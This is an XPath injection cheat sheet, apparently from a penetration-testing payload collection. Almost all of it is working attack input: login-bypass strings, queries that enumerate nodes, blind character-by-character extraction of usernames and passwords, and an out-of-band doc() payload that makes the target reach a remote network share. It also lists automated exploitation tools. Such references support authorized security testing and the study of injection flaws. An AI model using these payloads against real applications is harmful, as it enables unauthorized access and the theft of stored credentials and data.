XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Summary

Exploitation
Blind exploitation
Out Of Band Exploitation
Tools
References

Exploitation

Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c

Size of a string
```
and string-length(account)=SIZE_INT
```

Extract a character

substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Tools

xcat - Automate XPath injection attacks to retrieve documents
xxxpwn - Advanced XPath Injection Tool
xxxpwn_smart - A fork of xxxpwn using predictive text
xpath-blind-explorer
XmlChor - Xpath injection exploitation tool

References